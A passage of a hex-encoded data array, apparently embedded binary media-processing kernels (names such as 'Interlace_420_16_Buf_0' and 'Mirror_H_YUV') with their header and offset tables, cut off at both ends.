0x00000770, 0xbfff0036, 0x00000770, 0xbfff0037, 0x00000770, 0xbfff0038, 0x00000770, 0xbfff0039,
0x00000770, 0xbfff003a, 0x00000770, 0xbfff003b, 0x00000770, 0xbfff003c, 0x00000770, 0xbfff003d,
0x00000770, 0xbfff003e, 0x00000770, 0xbfff003f, 0x00000770, 0xbfff0040, 0x00000770, 0xbfff0041,
0x00000770, 0xbfff0042, 0x00000770, 0xbfff0043, 0x00000770, 0xbfff0044, 0x00000770, 0xbfff0045,
0x00000770, 0xbfff0046, 0x00000770, 0xbfff0047, 0x00000770, 0xbfff0048, 0x00000770, 0xbfff0049,
0x00000770, 0xbfff004a, 0x00000770, 0xbfff004b, 0x00000770, 0xbfff004c, 0x00000770, 0xbfff004d,
0x00000770, 0xbfff004e, 0x00000770, 0xbfff004f, 0x00000770, 0xbfff0050, 0x00000770, 0xbfff0051,
0x00000770, 0xbfff0052, 0x00000770, 0xbfff0053, 0x00000770, 0xbfff0054, 0x00000770, 0xbfff0055,
0x00000770, 0xbfff0056, 0x00000770, 0xbfff0057, 0x00000770, 0xbfff0058, 0x00000770, 0xbfff0059,
0x00000770, 0xbfff005a, 0x00000770, 0xbfff005b, 0x00000770, 0xbfff005c, 0x00000770, 0xbfff005d,
0x00000770, 0xbfff005e, 0x00000770, 0xbfff005f, 0x00000770, 0xbfff0060, 0x00000770, 0xbfff0061,
0x00000770, 0xbfff0062, 0x00000770, 0xbfff0063, 0x00000770, 0xbfff0064, 0x00000770, 0xbfff0065,
0x00000770, 0xbfff0066, 0x00000770, 0xbfff0067, 0x00000770, 0xbfff0068, 0x00000770, 0xbfff0069,
0x00000780, 0x3fff007f, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000008, 0x00000005, 0x00000001,
0x00000034, 0x000003b0, 0x00000006, 0x00000001, 0x000003e4, 0x000003b0, 0x00000007, 0x00000001,
0x00000794, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3032, 0x75425f36, 0x00305f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff0078,
0x00000070, 0x0000ffff, 0x000000d0, 0x3fff0078, 0x00000420, 0xbfff001a, 0x00000460, 0xbfff001b,
0x00000490, 0xbfff0022, 0x000004b0, 0xbfff0023, 0x000004e0, 0xbfff0012, 0x00000500, 0xbfff0013,
0x00000630, 0xbfff001c, 0x00000670, 0xbfff001d, 0x000006a0, 0xbfff0024, 0x000006c0, 0xbfff0025,
0x000007b0, 0xbfff0014, 0x000007d0, 0xbfff0015, 0x000008a0, 0x3fff006c, 0x000008b0, 0x3fff006d,
0x000008b0, 0xbfff000a, 0x000008c0, 0x3fff006e, 0x000008d0, 0x3fff006f, 0x000008d0, 0xbfff000b,
0x000008e0, 0x3fff0070, 0x000008f0, 0x3fff0071, 0x000008f0, 0xbfff000c, 0x00000900, 0x3fff0072,
0x00000910, 0x3fff0073, 0x00000910, 0xbfff000d, 0x00000920, 0x3fff0074, 0x00000930, 0x3fff0075,
0x00000930, 0xbfff000e, 0x00000940, 0x3fff0076, 0x00000950, 0x3fff0077, 0x00000950, 0xbfff000f,
0x00000980, 0xbfff0016, 0x000009c0, 0x3fff004c, 0x000009c0, 0xbfff0017, 0x00000a00, 0xbfff001e,
0x00000a40, 0xbfff001f, 0x00000a70, 0x3fff004a, 0x00000a70, 0xbfff0026, 0x00000a90, 0x3fff004b,
0x00000a90, 0xbfff0027, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000030, 0x00000006, 0x00000001, 0x00000074, 0x00000140, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000078, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3032, 0x75425f36, 0x00315f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000018, 0x00000006, 0x00000001, 0x0000005c, 0x00000018, 0x00000007,
0x00000001, 0x00000074, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3032, 0x75425f36, 0x00325f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff0078,
0x00000070, 0x0000ffff, 0x000000d0, 0x3fff0078, 0x00000420, 0xbfff003a, 0x00000460, 0xbfff003b,
0x00000490, 0xbfff0042, 0x000004b0, 0xbfff0043, 0x000004e0, 0xbfff0032, 0x00000500, 0xbfff0033,
0x00000630, 0xbfff003c, 0x00000670, 0xbfff003d, 0x000006a0, 0xbfff0044, 0x000006c0, 0xbfff0045,
0x000007b0, 0xbfff0034, 0x000007d0, 0xbfff0035, 0x000008a0, 0x3fff006c, 0x000008b0, 0x3fff006d,
0x000008b0, 0xbfff002a, 0x000008c0, 0x3fff006e, 0x000008d0, 0x3fff006f, 0x000008d0, 0xbfff002b,
0x000008e0, 0x3fff0070, 0x000008f0, 0x3fff0071, 0x000008f0, 0xbfff002c, 0x00000900, 0x3fff0072,
0x00000910, 0x3fff0073, 0x00000910, 0xbfff002d, 0x00000920, 0x3fff0074, 0x00000930, 0x3fff0075,
0x00000930, 0xbfff002e, 0x00000940, 0x3fff0076, 0x00000950, 0x3fff0077, 0x00000950, 0xbfff002f,
0x00000980, 0xbfff0036, 0x000009c0, 0x3fff004c, 0x000009c0, 0xbfff0037, 0x00000a00, 0xbfff003e,
0x00000a40, 0xbfff003f, 0x00000a70, 0x3fff004a, 0x00000a70, 0xbfff0046, 0x00000a90, 0x3fff004b,
0x00000a90, 0xbfff0047, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000030, 0x00000006, 0x00000001, 0x00000074, 0x00000140, 0x00000007,
0x00000001, 0x000001b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000078, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3032, 0x75425f36, 0x00335f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000018, 0x00000006, 0x00000001, 0x0000005c, 0x00000018, 0x00000007,
0x00000001, 0x00000074, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000218, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3434, 0x75425f36, 0x00305f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff007c,
0x00000070, 0x0000ffff, 0x000000d0, 0x3fff007c, 0x00000660, 0xbfff001a, 0x000006a0, 0xbfff001b,
0x000006d0, 0xbfff0022, 0x000006f0, 0xbfff0023, 0x00000720, 0xbfff0012, 0x00000740, 0xbfff0013,
0x00000870, 0xbfff001c, 0x000008b0, 0xbfff001d, 0x000008e0, 0xbfff0024, 0x00000900, 0xbfff0025,
0x00000930, 0xbfff0014, 0x00000950, 0xbfff0015, 0x00000a80, 0xbfff001e, 0x00000ac0, 0xbfff001f,
0x00000af0, 0xbfff0026, 0x00000b10, 0xbfff0027, 0x00000c40, 0xbfff0016, 0x00000c60, 0xbfff0017,
0x00000d30, 0x3fff006c, 0x00000d40, 0x3fff006d, 0x00000d40, 0xbfff000a, 0x00000d50, 0x3fff006e,
0x00000d60, 0x3fff006f, 0x00000d60, 0xbfff000b, 0x00000d70, 0x3fff0070, 0x00000d80, 0x3fff0071,
0x00000d80, 0xbfff000c, 0x00000d90, 0x3fff0072, 0x00000da0, 0x3fff0073, 0x00000da0, 0xbfff000d,
0x00000db0, 0x3fff0074, 0x00000dc0, 0x3fff0075, 0x00000dc0, 0xbfff000e, 0x00000dd0, 0x3fff0076,
0x00000de0, 0x3fff0077, 0x00000de0, 0xbfff000f, 0x00000df0, 0x3fff0078, 0x00000e00, 0x3fff0079,
0x00000e00, 0xbfff0010, 0x00000e10, 0x3fff007a, 0x00000e20, 0x3fff007b, 0x00000e20, 0xbfff0011,
0x00000e50, 0xbfff0018, 0x00000e90, 0x3fff004c, 0x00000e90, 0xbfff0019, 0x00000ed0, 0xbfff0020,
0x00000f10, 0xbfff0021, 0x00000f40, 0x3fff004a, 0x00000f40, 0xbfff0028, 0x00000f60, 0x3fff004b,
0x00000f60, 0xbfff0029, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000030, 0x00000006, 0x00000001, 0x00000074, 0x000001a0, 0x00000007,
0x00000001, 0x00000214, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000078, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3434, 0x75425f36, 0x00315f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000018, 0x00000006, 0x00000001, 0x0000005c, 0x00000018, 0x00000007,
0x00000001, 0x00000074, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000218, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3434, 0x75425f36, 0x00325f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff007c,
0x00000070, 0x0000ffff, 0x000000d0, 0x3fff007c, 0x00000660, 0xbfff003a, 0x000006a0, 0xbfff003b,
0x000006d0, 0xbfff0042, 0x000006f0, 0xbfff0043, 0x00000720, 0xbfff0032, 0x00000740, 0xbfff0033,
0x00000870, 0xbfff003c, 0x000008b0, 0xbfff003d, 0x000008e0, 0xbfff0044, 0x00000900, 0xbfff0045,
0x00000930, 0xbfff0034, 0x00000950, 0xbfff0035, 0x00000a80, 0xbfff003e, 0x00000ac0, 0xbfff003f,
0x00000af0, 0xbfff0046, 0x00000b10, 0xbfff0047, 0x00000c40, 0xbfff0036, 0x00000c60, 0xbfff0037,
0x00000d30, 0x3fff006c, 0x00000d40, 0x3fff006d, 0x00000d40, 0xbfff002a, 0x00000d50, 0x3fff006e,
0x00000d60, 0x3fff006f, 0x00000d60, 0xbfff002b, 0x00000d70, 0x3fff0070, 0x00000d80, 0x3fff0071,
0x00000d80, 0xbfff002c, 0x00000d90, 0x3fff0072, 0x00000da0, 0x3fff0073, 0x00000da0, 0xbfff002d,
0x00000db0, 0x3fff0074, 0x00000dc0, 0x3fff0075, 0x00000dc0, 0xbfff002e, 0x00000dd0, 0x3fff0076,
0x00000de0, 0x3fff0077, 0x00000de0, 0xbfff002f, 0x00000df0, 0x3fff0078, 0x00000e00, 0x3fff0079,
0x00000e00, 0xbfff0030, 0x00000e10, 0x3fff007a, 0x00000e20, 0x3fff007b, 0x00000e20, 0xbfff0031,
0x00000e50, 0xbfff0038, 0x00000e90, 0x3fff004c, 0x00000e90, 0xbfff0039, 0x00000ed0, 0xbfff0040,
0x00000f10, 0xbfff0041, 0x00000f40, 0x3fff004a, 0x00000f40, 0xbfff0048, 0x00000f60, 0x3fff004b,
0x00000f60, 0xbfff0049, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000030, 0x00000006, 0x00000001, 0x00000074, 0x000001a0, 0x00000007,
0x00000001, 0x00000214, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000078, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x746e4900, 0x616c7265, 0x345f6563, 0x315f3434, 0x75425f36, 0x00335f66, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000018, 0x00000005,
0x00000001, 0x00000044, 0x00000018, 0x00000006, 0x00000001, 0x0000005c, 0x00000018, 0x00000007,
0x00000001, 0x00000074, 0x00000002, 0x00000000, 0x00000000, 0x00010000, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000007a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x72694d00, 0x5f726f72, 0x55595f48, 0x00000056,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b,
0x00000030, 0xbfff006e, 0x00000040, 0xbfff006f, 0x00000060, 0x3fff000a, 0x00000060, 0x3fff000b,
0x00000060, 0x3fff000c, 0x00000060, 0x3fff000d, 0x00000060, 0x3fff000e, 0x00000060, 0x3fff000f,
0x00000060, 0x3fff0010, 0x00000060, 0x3fff0011, 0x00000060, 0x3fff0012, 0x00000060, 0x3fff0013,
0x00000060, 0x3fff0014, 0x00000060, 0x3fff0015, 0x00000060, 0x3fff0016, 0x00000060, 0x3fff0017,
0x00000060, 0x3fff0018, 0x00000060, 0x3fff0019, 0x00000060, 0x3fff001a, 0x00000060, 0x3fff001b,
0x00000060, 0x3fff001c, 0x00000060, 0x3fff001d, 0x00000060, 0x3fff001e, 0x00000060, 0x3fff001f,
0x00000060, 0x3fff0020, 0x00000060, 0x3fff0021, 0x00000060, 0x3fff0022, 0x00000060, 0x3fff0023,
0x00000060, 0x3fff0024, 0x00000060, 0x3fff0025, 0x00000060, 0x3fff0026, 0x00000060, 0x3fff0027,
0x00000060, 0x3fff0028, 0x00000060, 0x3fff0029, 0x00000060, 0x3fff002a, 0x00000060, 0x3fff002b,
0x00000060, 0x3fff002c, 0x00000060, 0x3fff002d, 0x00000060, 0x3fff002e, 0x00000060, 0x3fff002f,
0x00000060, 0x3fff0030, 0x00000060, 0x3fff0031, 0x00000060, 0x3fff0032, 0x00000060, 0x3fff0033,
0x00000060, 0x3fff0034, 0x00000060, 0x3fff0035, 0x00000060, 0x3fff0036, 0x00000060, 0x3fff0037,
0x00000060, 0x3fff0038, 0x00000060, 0x3fff0039, 0x00000060, 0x3fff003a, 0x00000060, 0x3fff003b,
0x00000060, 0x3fff003c, 0x00000060, 0x3fff003d, 0x00000060, 0x3fff003e, 0x00000060, 0x3fff003f,
0x00000060, 0x3fff0040, 0x00000060, 0x3fff0041, 0x00000060, 0x3fff0042, 0x00000060, 0x3fff0043,
0x00000060, 0x3fff0044, 0x00000060, 0x3fff0045, 0x00000060, 0x3fff0046, 0x00000060, 0x3fff0047,
0x00000060, 0x3fff0048, 0x00000060, 0x3fff0049, 0x00000060, 0x3fff004a, 0x00000060, 0x3fff004b,
0x00000060, 0x3fff004c, 0x00000060, 0x3fff004d, 0x00000060, 0x3fff004e, 0x00000060, 0x3fff004f,
0x00000060, 0x3fff0050, 0x00000060, 0x3fff0051, 0x00000060, 0x3fff0052, 0x00000060, 0x3fff0053,
0x00000060, 0x3fff0054, 0x00000060, 0x3fff0055, 0x00000060, 0x3fff0056, 0x00000060, 0x3fff0057,
0x00000060, 0x3fff0058, 0x00000060, 0x3fff0059, 0x00000060, 0x3fff005a, 0x00000060, 0x3fff005b,
0x00000060, 0x3fff005c, 0x00000060, 0x3fff005d, 0x00000060, 0x3fff005e, 0x00000060, 0x3fff005f,
0x00000060, 0x3fff0060, 0x00000060, 0x3fff0061, 0x00000060, 0x3fff0062, 0x00000060, 0x3fff0063,
0x00000060, 0x3fff0064, 0x00000060, 0x3fff0065, 0x00000060, 0x3fff0066, 0x00000060, 0x3fff0067,
0x00000060, 0x3fff0068, 0x00000060, 0x3fff0069, 0x00000060, 0xbfff0070, 0x00000070, 0xbfff0071,
0x00000180, 0xbfff0072, 0x00000190, 0xbfff0073, 0x000002a0, 0xbfff0074, 0x000002b0, 0xbfff0075,
0x000003c0, 0xbfff0076, 0x000003d0, 0xbfff0077, 0x000004e0, 0xbfff0078, 0x000004f0, 0xbfff0079,
0x00000600, 0xbfff007a, 0x00000610, 0xbfff007b, 0x00000720, 0xbfff007c, 0x00000730, 0xbfff007d,
0x00000840, 0xbfff007e, 0x00000df0, 0x3fff007f, 0x00000020, 0x00010000, 0x00000030, 0x3fff006b,
0x00000330, 0x3fff0075, 0x00000450, 0x3fff0077, 0x000004d0, 0x3fff0076, 0x00000570, 0x3fff0079,
0x000005f0, 0x3fff0078, 0x00000690, 0x3fff007b, 0x00000710, 0x3fff007a, 0x000007b0, 0x3fff007d,
0x00000830, 0x3fff007c, 0x000008d0, 0x3fff006c, 0x00000950, 0x3fff007e, 0x00000a00, 0x3fff006e,
0x00000a80, 0x3fff006d, 0x00000b20, 0x3fff0070, 0x00000ba0, 0x3fff006f, 0x00000c40, 0x3fff0072,
0x00000cc0, 0x3fff0071, 0x00000d60, 0x3fff0074, 0x00000de0, 0x3fff0073, 0x00000de0, 0xbfff000a,
0x00000de0, 0xbfff000b, 0x00000de0, 0xbfff000c, 0x00000de0, 0xbfff000d, 0x00000de0, 0xbfff000e,
0x00000de0, 0xbfff000f, 0x00000de0, 0xbfff0010, 0x00000de0, 0xbfff0011, 0x00000de0, 0xbfff0012,
0x00000de0, 0xbfff0013, 0x00000de0, 0xbfff0014, 0x00000de0, 0xbfff0015, 0x00000de0, 0xbfff0016,
0x00000de0, 0xbfff0017, 0x00000de0, 0xbfff0018, 0x00000de0, 0xbfff0019, 0x00000de0, 0xbfff001a,
0x00000de0, 0xbfff001b, 0x00000de0, 0xbfff001c, 0x00000de0, 0xbfff001d, 0x00000de0, 0xbfff001e,
0x00000de0, 0xbfff001f, 0x00000de0, 0xbfff0020, 0x00000de0, 0xbfff0021, 0x00000de0, 0xbfff0022,
0x00000de0, 0xbfff0023, 0x00000de0, 0xbfff0024, 0x00000de0, 0xbfff0025, 0x00000de0, 0xbfff0026,
0x00000de0, 0xbfff0027, 0x00000de0, 0xbfff0028, 0x00000de0, 0xbfff0029, 0x00000de0, 0xbfff002a,
0x00000de0, 0xbfff002b, 0x00000de0, 0xbfff002c, 0x00000de0, 0xbfff002d, 0x00000de0, 0xbfff002e,
0x00000de0, 0xbfff002f, 0x00000de0, 0xbfff0030, 0x00000de0, 0xbfff0031, 0x00000de0, 0xbfff0032,
0x00000de0, 0xbfff0033, 0x00000de0, 0xbfff0034, 0x00000de0, 0xbfff0035, 0x00000de0, 0xbfff0036,
0x00000de0, 0xbfff0037, 0x00000de0, 0xbfff0038, 0x00000de0, 0xbfff0039, 0x00000de0, 0xbfff003a,
0x00000de0, 0xbfff003b, 0x00000de0, 0xbfff003c, 0x00000de0, 0xbfff003d, 0x00000de0, 0xbfff003e,
0x00000de0, 0xbfff003f, 0x00000de0, 0xbfff0040, 0x00000de0, 0xbfff0041, 0x00000de0, 0xbfff0042,
0x00000de0, 0xbfff0043, 0x00000de0, 0xbfff0044, 0x00000de0, 0xbfff0045, 0x00000de0, 0xbfff0046,
0x00000de0, 0xbfff0047, 0x00000de0, 0xbfff0048, 0x00000de0, 0xbfff0049, 0x00000de0, 0xbfff004a,
0x00000de0, 0xbfff004b, 0x00000de0, 0xbfff004c, 0x00000de0, 0xbfff004d, 0x00000de0, 0xbfff004e,
0x00000de0, 0xbfff004f, 0x00000de0, 0xbfff0050, 0x00000de0, 0xbfff0051, 0x00000de0, 0xbfff0052,
0x00000de0, 0xbfff0053, 0x00000de0, 0xbfff0054, 0x00000de0, 0xbfff0055, 0x00000de0, 0xbfff0056,
0x00000de0, 0xbfff0057, 0x00000de0, 0xbfff0058, 0x00000de0, 0xbfff0059, 0x00000de0, 0xbfff005a,
0x00000de0, 0xbfff005b, 0x00000de0, 0xbfff005c, 0x00000de0, 0xbfff005d, 0x00000de0, 0xbfff005e,
0x00000de0, 0xbfff005f, 0x00000de0, 0xbfff0060, 0x00000de0, 0xbfff0061, 0x00000de0, 0xbfff0062,
0x00000de0, 0xbfff0063, 0x00000de0, 0xbfff0064, 0x00000de0, 0xbfff0065, 0x00000de0, 0xbfff0066,
0x00000de0, 0xbfff0067, 0x00000de0, 0xbfff0068, 0x00000de0, 0xbfff0069, 0x00000df0, 0x3fff007f,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000000e, 0x00000005, 0x00000001, 0x0000003c,
0x000003b0, 0x00000006, 0x00000001, 0x000003ec, 0x000003b0, 0x00000007, 0x00000001, 0x0000079c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000007a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x72694d00, 0x5f726f72, 0x55595f48, 0x00004156,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b,
0x00000030, 0xbfff006e, 0x00000040, 0xbfff006f, 0x00000060, 0x3fff000a, 0x00000060, 0x3fff000b,
0x00000060, 0x3fff000c, 0x00000060, 0x3fff000d, 0x00000060, 0x3fff000e, 0x00000060, 0x3fff000f,
0x00000060, 0x3fff0010, 0x00000060, 0x3fff0011, 0x00000060, 0x3fff0012, 0x00000060, 0x3fff0013,
0x00000060, 0x3fff0014, 0x00000060, 0x3fff0015, 0x00000060, 0x3fff0016, 0x00000060, 0x3fff0017,
0x00000060, 0x3fff0018, 0x00000060, 0x3fff0019, 0x00000060, 0x3fff001a, 0x00000060, 0x3fff001b,
0x00000060, 0x3fff001c, 0x00000060, 0x3fff001d, 0x00000060, 0x3fff001e, 0x00000060, 0x3fff001f,
0x00000060, 0x3fff0020, 0x00000060, 0x3fff0021, 0x00000060, 0x3fff0022, 0x00000060, 0x3fff0023,
0x00000060, 0x3fff0024, 0x00000060, 0x3fff0025, 0x00000060, 0x3fff0026, 0x00000060, 0x3fff0027,
0x00000060, 0x3fff0028, 0x00000060, 0x3fff0029, 0x00000060, 0x3fff002a, 0x00000060, 0x3fff002b,
0x00000060, 0x3fff002c, 0x00000060, 0x3fff002d, 0x00000060, 0x3fff002e, 0x00000060, 0x3fff002f,
0x00000060, 0x3fff0030, 0x00000060, 0x3fff0031, 0x00000060, 0x3fff0032, 0x00000060, 0x3fff0033,
0x00000060, 0x3fff0034, 0x00000060, 0x3fff0035, 0x00000060, 0x3fff0036, 0x00000060, 0x3fff0037,
0x00000060, 0x3fff0038, 0x00000060, 0x3fff0039, 0x00000060, 0x3fff003a, 0x00000060, 0x3fff003b,
0x00000060, 0x3fff003c, 0x00000060, 0x3fff003d, 0x00000060, 0x3fff003e, 0x00000060, 0x3fff003f,
0x00000060, 0x3fff0040, 0x00000060, 0x3fff0041, 0x00000060, 0x3fff0042, 0x00000060, 0x3fff0043,
0x00000060, 0x3fff0044, 0x00000060, 0x3fff0045, 0x00000060, 0x3fff0046, 0x00000060, 0x3fff0047,
0x00000060, 0x3fff0048, 0x00000060, 0x3fff0049, 0x00000060, 0x3fff004a, 0x00000060, 0x3fff004b,
0x00000060, 0x3fff004c, 0x00000060, 0x3fff004d, 0x00000060, 0x3fff004e, 0x00000060, 0x3fff004f,
0x00000060, 0x3fff0050, 0x00000060, 0x3fff0051, 0x00000060, 0x3fff0052, 0x00000060, 0x3fff0053,
0x00000060, 0x3fff0054, 0x00000060, 0x3fff0055, 0x00000060, 0x3fff0056, 0x00000060, 0x3fff0057,
0x00000060, 0x3fff0058, 0x00000060, 0x3fff0059, 0x00000060, 0x3fff005a, 0x00000060, 0x3fff005b,
0x00000060, 0x3fff005c, 0x00000060, 0x3fff005d, 0x00000060, 0x3fff005e, 0x00000060, 0x3fff005f,
0x00000060, 0x3fff0060, 0x00000060, 0x3fff0061, 0x00000060, 0x3fff0062, 0x00000060, 0x3fff0063,
0x00000060, 0x3fff0064, 0x00000060, 0x3fff0065, 0x00000060, 0x3fff0066, 0x00000060, 0x3fff0067,
0x00000060, 0x3fff0068, 0x00000060, 0x3fff0069, 0x00000060, 0xbfff0070, 0x00000070, 0xbfff0071,
0x00000180, 0xbfff0072, 0x00000190, 0xbfff0073, 0x000002a0, 0xbfff0074, 0x000002b0, 0xbfff0075,
0x000003c0, 0xbfff0076, 0x000003d0, 0xbfff0077, 0x000004e0, 0xbfff0078, 0x000004f0, 0xbfff0079,
0x00000600, 0xbfff007a, 0x00000610, 0xbfff007b, 0x00000720, 0xbfff007c, 0x00000730, 0xbfff007d,
0x00000840, 0xbfff007e, 0x00001270, 0x3fff007f, 0x00000020, 0x00010000, 0x00000030, 0x3fff006b,
0x000007b0, 0x3fff007d, 0x000008d0, 0x3fff006c, 0x00000950, 0x3fff007e, 0x00000a00, 0x3fff006e,
0x00000a80, 0x3fff006d, 0x00000b20, 0x3fff0070, 0x00000ba0, 0x3fff006f, 0x00000c40, 0x3fff0072,
0x00000cc0, 0x3fff0071, 0x00000d60, 0x3fff0074, 0x00000de0, 0x3fff0073, 0x00000e80, 0x3fff0076,
0x00000f00, 0x3fff0075, 0x00000fa0, 0x3fff0078, 0x00001020, 0x3fff0077, 0x000010c0, 0x3fff007a,
0x00001140, 0x3fff0079, 0x000011e0, 0x3fff007c, 0x00001260, 0x3fff007b, 0x00001260, 0xbfff000a,
0x00001260, 0xbfff000b, 0x00001260, 0xbfff000c, 0x00001260, 0xbfff000d, 0x00001260, 0xbfff000e,
0x00001260, 0xbfff000f, 0x00001260, 0xbfff0010, 0x00001260, 0xbfff0011, 0x00001260, 0xbfff0012,
0x00001260, 0xbfff0013, 0x00001260, 0xbfff0014, 0x00001260, 0xbfff0015, 0x00001260, 0xbfff0016,
0x00001260, 0xbfff0017, 0x00001260, 0xbfff0018, 0x00001260, 0xbfff0019, 0x00001260, 0xbfff001a,
0x00001260, 0xbfff001b, 0x00001260, 0xbfff001c, 0x00001260, 0xbfff001d, 0x00001260, 0xbfff001e,
0x00001260, 0xbfff001f, 0x00001260, 0xbfff0020, 0x00001260, 0xbfff0021, 0x00001260, 0xbfff0022,
